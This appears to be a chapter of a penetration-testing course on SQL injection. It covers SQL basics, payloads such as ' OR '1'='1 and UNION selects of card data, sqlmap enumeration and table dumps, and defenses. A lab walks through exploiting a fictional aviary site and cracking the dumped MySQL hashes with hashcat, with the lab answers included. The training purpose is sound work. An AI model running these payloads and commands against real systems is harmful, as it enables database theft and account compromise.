SQL Injection

SQL injection is a web attack that tricks a website into running harmful commands on its database. The attacker sends a special string of text that the website wrongly uses in a database query. The database processes the query and sends the results back to the attacker.

SELECT filename FROM dropbox WHERE owner = 'blake';

This SQL query selects filenames from Dropbox where the owner is "blake," which is provided by the attacker. If the web and database servers don’t filter or encode this input, they’re at risk of SQL injection, letting attackers access any database content or even the database host directly.

Structured Query Language

To perform SQL injection attacks, you need to know how to create SQL statements. SQL is a simple language used to get, change, or remove data from databases, with some variations across different systems.

SELECT filename FROM dropbox;
SELECT filename, owner FROM dropbox WHERE filetype = 'zip';
SELECT * FROM dropbox;
UPDATE dropbox SET filetype='pdf' WHERE filename = 'resume.pdf' AND owner='blake';
DELETE FROM dropbox WHERE owner='blake';

SQL statements have three main parts: [VERB], [SOURCE], and [REFINEMENT]:

  • Verb: Defines the action, like SELECT (query), UPDATE (change), or DELETE (remove).

  • Source: Shows the table(s) the action applies to.

  • Refinement: Optional, narrows down the action to specific columns or values.

SQL statements use keywords like FROM to specify the table and WHERE to start filtering. The SET keyword is used with UPDATE to change data in specific columns. The table named dropbox has three columns: filename, filetype, and owner. Various SQL statements are shown for querying the table with SELECT, updating columns, and deleting rows. Keywords are shown in uppercase for clarity, but SQL itself does not require this.

Injecting SQL Content

Once you know SQL, you can exploit a weak web app to manipulate SELECT statement results. If users can input data, they might perform SQL injection attacks to access or change database info that shouldn’t be accessible.

To test an app for SQL injection issues, we try different special characters in input fields. We watch for errors or changes in how the app behaves. Once we spot an error, we adjust our input to create a valid SQL query.

SELECT filename FROM dropbox WHERE owner = 'blake' OR 'a'='a';

An attacker can change an SQL query to get more data than intended. Instead of just getting files owned by 'blake', the attacker uses blake' OR 'a'='a, which turns the query into SELECT filename FROM dropbox WHERE owner = 'blake' OR 'a'='a'. The OR 'a'='a' part always evaluates to true, so the query returns all records from the database, not just those owned by 'blake'. This lets the attacker access extra data.

Testing for Error-Based SQL Injection Vulnerabilities

Testing for SQL injection is like testing for XSS. We change input and check the server's response. For example, the listproducts.php page uses a cat parameter for categories. It usually takes numbers, but using 1' causes a server error.

SQL Union Statement

The SQL UNION clause lets you combine the results of two queries. If you find a server vulnerable to SQL injection, you can add a UNION keyword and a new SELECT query to get data from additional database tables.

SELECT uid, user FROM users WHERE user = 'blake' UNION select ccard, cvv from payments -- '

In most databases, after using UNION in a SQL query, the next SELECT must have the same number of columns as the previous one. In a SQL injection attack, you might not know how many columns the first SELECT has. You can test by adding more static values to your query (like SELECT ccard, cvv, 1, 2, 3, 4, 5 from payments). The static values don't pull data from columns but just show fixed numbers.

The attacker adds blake' UNION select ccard, cvv from payments -- to the SQL query, which combines data from the users table and the payments table, letting them access both sets of information.

UNION Select Results

We used the UNION keyword in our vulnerable web app's query to add four columns that give info about MySQL servers:

  1. @@version: MySQL version number

  2. user(): Username and hostname

  3. system_user(): Windows account name

  4. database(): Current database name

The server response shows an error because our query has mismatched columns. To fix this, we used UNION SELECT with 11 columns to match the other query. We figured out where to place the information by testing where it shows up in the web app.

Sqlmap

Manually checking for SQL injection can take a lot of time, especially without detailed error messages from the database. Automated tools can speed this up by quickly sending multiple SQL queries to check for vulnerabilities. Some commercial tools are Burp Suite Professional and Acunetix, while a popular free tool is Sqlmap.

python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1"

Sqlmap is a Python tool for finding and exploiting SQL injection issues. Run the sqlmap.py script with a URL and the -u option to test for SQL injection. Sqlmap can quickly spot vulnerabilities, like in the cat parameter, and also check other parameters. Once it finds a problem, it provides details about the web server and database before stopping.

Important Sqlmap Rules

Two important rules to keep in mind when using Sqlmap:

  1. Use a working URL with Sqlmap; if the URL causes errors, Sqlmap might not find vulnerabilities.

  2. Put the URL in quotes to prevent issues with special characters like ampersands (&) being misinterpreted by the shell.

When specifying a URL, always surround the URL with quotation marks, as shown here:

sqlmap -u "https://www.target.tgt/page.asp?id=josh&uid=1001"

Sqlmap Enumeration

$ python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
[*] acuart
[*] information_schema
$ python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
[7 tables]
+-----------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| users |
+-----------+

Use Sqlmap to automate database enumeration. After finding a vulnerable HTTP parameter with -u, run Sqlmap with --dbs to list available databases. Choose a database and rerun Sqlmap with -D databasename and --tables to list its tables.

$ python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T carts --columns
+---------+--------------+
| Column | Type |
+---------+--------------+
| cart_id | varchar(100) |
| item | int(11) |
| price | int(11) |
+---------+--------------+
$ python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T carts --dump
+----------------------------------+------------+-------+
| cart_id | item | price |
+----------------------------------+------------+-------+
| 59bc1b0b420b28ec09d673886c9e6c5e | 1 | 500 |
| 92cd2d36a3ebf3e3227f8573f8682b98 | 7 | 15000 |

To check a table, use the previous command with -T tablename and --columns to list accessible columns. To get all table data, use -D for the database name, -T for the table name, and --dump to show all entries. For an interactive SQL interface, add --sql-shell to manually run SQL queries, including WHERE clauses.

Cloud SQL Does Not Escape Vulnerability

Cloud providers offer databases as part of their cloud services, either as hosted versions of their own products (like Azure SQL Managed Instance) or as separate technologies (like GCE Spanner or Amazon RDS). These cloud databases can still be vulnerable to SQL injection attacks.

SQL injection attacks have become less common because developers now use ORM systems like ActiveRecord, Hibernate, and SQLAlchemy. These tools create SQL statements automatically, reducing the risk of injection attacks. While ORMs can be slower, they improve security by preventing manual SQL statement vulnerabilities.

Cloud databases are not automatically protected from SQL injection attacks. The rise of serverless platforms (like Azure Functions, Amazon Lambda, and Google Cloud Functions) has increased these vulnerabilities.

In serverless systems, developers skip complex ORM tools for better performance, connecting directly to databases. This shift prioritizes speed over security, which can lead to vulnerabilities like SQL injection.

SQL Injection Testing Risk

SQL injection testing can be risky and harm the target organization, depending on the SQL statements used. For instance, the SQL statement from the client profile update page is a good example.

UPDATE customers set name = 'input' WHERE custid=642;

The developer is updating the database to let users change their account names. But, think about the effect of this SQL injection test:

UPDATE customers set name = 'Kevin'-- ' WHERE custid=642;

Or removing the comment characters and the following content:

UPDATE customers set name = 'Kevin'

Since the WHERE clause was missing, all database records will be updated to the name Kevin, no matter the customer ID. This is an unpredictable risk, so customers should be ready with tested backups and verify they can restore the database.

SQL Injection Defenses

To defend against SQL Injection, limit the web app's database permissions—don’t give it admin rights. While this won't stop SQL Injection, it can reduce the attacker's access. Filtering input to remove harmful characters is less effective now. Instead, use parameterized queries rather than string concatenation to build SQL statements.

Using parameterized queries prevents SQL injection, is simpler for programmers, and boosts database performance. Security tips that also benefit programmers are easier to adopt. For guidance, check out the OWASP Cheat Sheet here. For specifics on Microsoft IIS and SQL Server, visit this blog.

Enable database logging for failed SQL statements and syntax errors if your database supports it. This helps catch attackers probing for SQL injection but may also log mistakes by internal users. Note that MySQL/MariaDB do not support this. Additionally, use the ModSecurity plugin for Apache, IIS, or Nginx to block SQL Injection and Cross-Site Scripting attacks. ModSecurity can be found at https://modsecurity.org.

Lab 4.5: SQL Injection Attack

In this lab, we will finish our evaluation of the Rook Aviary website as part of the due diligence evaluation prior to acquisition by Falsimentis, Corp. This time we'll identify and exploit a SQL injection vulnerability in the target website.

Let's navigate to the Rook Aviary site at http://www.rookaviary.com.

In this lab, we'll focus on the Employee Directory of the Rook Aviary website. Let's click the Directory link at the top of the browser to access it.

Let's ype "admin" and click Submit.

The site lets us search and shows results. Next, we'll check if it’s vulnerable to SQL injection.

Let's search for admin' (admin with a single quote at the end), then click Submit and check the server’s response.

The error shows that the web app uses a MariaDB database with SQL. The search term "admin'" is causing an error because it's being added to the SQL query with a wildcard % symbol.

Let's confirm if the system is vulnerable to SQL injection by trying to get extra records. On the Employee Directory page, let's type ' or '1'='1 in the Name field.

Entering ' OR '1'='1 in the search box changes the SQL query to SELECT * FROM users WHERE username='' OR '1'='1';, which always returns all usernames because '1'='1 is always true.

The site is vulnerable to SQL injection. The attacker’s goal is not just to get extra records but to gather unexpected data from various sources.

We've found that the web app has an SQL injection vulnerability by testing queries manually. Next, we'll use Sqlmap to automate gathering more info from the site.

In Firefox, let's click the Directory link in Rook Aviary to go back to the empty search page. Type "admin" in the search box and click Submit. let's check the URL bar to see the search results, like in the lab example.

To check for SQL injection on the Rook Aviary website:

  1. Use the Search function and copy the URL from the address bar.

  2. Open a new terminal window.

  3. Run Sqlmap by typing Sqlmap -u and paste the URL after it.

  4. Press Enter to start Sqlmap and check the URL for SQL injection.

  5. Press Enter again to use the default options in Sqlmap.

sqlmap -u "http://www.rookaviary.com/email_search.php?search=admin"

The message shows that the 'search' parameter is vulnerable to SQL injection. We'll use Sqlmap to exploit this vulnerability and gather data from the database.

Sqlmap can find SQL injection issues and get data from the vulnerable site. Let's add --dbs at the end to list the databases on the site, then press Enter. Accept the default options when prompted.

sqlmap -u "http://www.rookaviary.com/email_search.php?search=admin"

Using the --dbs parameter, Sqlmap lists the databases on the target site. It finds three: information_schema, test, and web_app. Next, we'll list the tables in the web_app database.

Let's remove --dbs and add -D web_app and --tables. Press Enter to use the default options during the Sqlmap attack.

sqlmap -u "http://www.rookaviary.com/email_search.php?search=admin" -D web_app --tables

Sqlmap shows the web_app schema has two tables: comments and users. Next, we’ll get the data from the users table.

Let's remove the --tables argument, replacing it with two arguments: -T users (to specify the users table) and --dump to exfiltrate the contents of the table.

Press Enter to use default cookies with Sqlmap. When asked to save password hashes, type 'y.' For dictionary-based password cracking, type 'n' since it's slow.

sqlmap -u "http://www.rookaviary.com/email_search.php?search=admin" -D web_app -T users --dump

Sqlmap will store the password hash in a temporary file in the /tmp directory. Let's use the cat command to view the file’s contents.

cat /tmp/sqlmapteLccS7593/sqlmaphashes-1WdZBi.txt

The asterisk before the password hash and the fact that these hashes are from a MySQL/MariaDB server show that they are MySQL password hashes. An attacker could crack these hashes and use them to access the web server's admin interface.

Bonus

1) What is the password for the jleytevidal user?

Let's use Hashcat to crack Sqlmap's temporary password hash. If Hashcat shows "No hash-mode matches," remove the asterisk at the start of each hash with sed.

sed -i 's/:\*/:/' /tmp/sqlmapteLccS7593/sqlmaphashes-1WdZBi.txt
cat /tmp/sqlmapteLccS7593/sqlmaphashes-1WdZBi.txt

Instead of using sed, we can use a text editor like gedit to remove asterisks from the hash file. Even if we remove the asterisks, Hashcat will still show a "No hash-mode matches" error because it’s not expecting the username before the password hash.

To use Hashcat with Sqlmap password hashes, let's add --user to our command. We'll remove any asterisks from the hashes and set the hash mode to 300 (-m 300) for MySQL4.1/MySQL5.

hashcat -a 0 /tmp/sqlmapteLccS7593/sqlmaphashes-1WdZBi.txt /usr/share/wordlists/passwords.txt -m 300 --user
hashcat /tmp/sqlmapteLccS7593/sqlmaphashes-1WdZBi.txt --user -m 300 --show

Answer: Florida1

2) What is the password for the rogrady user?

Hashcat won't find the rogrady user's password with just passwords.txt. We'll use --rules and the best64 rule file to help. With these rules, Hashcat will find the password.

hashcat -a 0 /tmp/sqlmapteLccS7593/sqlmaphashes-1WdZBi.txt /usr/share/wordlists/passwords.txt --user -m 300 --rules /opt/hashcat/rules/best64.rule
hashcat /tmp/sqlmapteLccS7593/sqlmaphashes-1WdZBi.txt --user -m 300 --show

Answer: Vagrant0

PreviousCross-Site ScriptingNextCloud Spotlight: SSRF and IMDS

Last updated